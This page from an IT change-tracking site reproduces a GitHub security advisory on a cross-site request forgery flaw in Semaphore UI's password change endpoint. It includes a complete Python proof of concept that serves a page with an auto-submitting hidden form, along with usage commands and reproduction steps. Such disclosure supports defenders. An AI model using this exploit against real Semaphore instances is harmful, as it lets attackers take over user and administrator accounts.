Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 271/271 feeds/APIs · 464/464 docs · 7/9 advisories · checked 03:28 UTC Customize Public modeDiscuss ChangeIntel on Discord

Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation

Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-8cj9-r88m-8945

Published

### Summary The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20. ### Details The password change endpoint of Semaphore UI does not implement any CSRF protection: - No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms. ### PoC To reproduce the exploit, you can use the following python script: ```python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s') def forge_malicious_page(target, user_id, newpassword): return f""" <html> <body> <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST"> <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRF_POC").submit(); </script> </body> </html> """; parser = argparse.ArgumentParser() parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True) parser.add_argument("-u","--uri", help="Base uri to target", required=True) parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged') parser.add_argument("-p","--port", help="Port to run server", default=1337) args = parser.parse_args() class Handler(SimpleHTTPRequestHandler): def do_GET(self): logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" % (self.client_address[0], self.command, self.path, self.path.split('?')[1] if '?' in self.path else 'None')) content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode() self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(content))) self.end_headers() self.wfile.write(content) httpd = HTTPServer(("", args.port), Handler) logging.info("[*] Serving at port "+str(args.port)) httpd.serve_forever() ``` Example : ```bash python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337 ``` 1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`. ### Impact This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Source published
3 Sep 2026 19:23:15 UTC
Source modified
10 Sep 2026 15:25:35 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 26 Oct 03:28 UTC · 271 of 271 readable · 268 fully read · documentation 464/464 current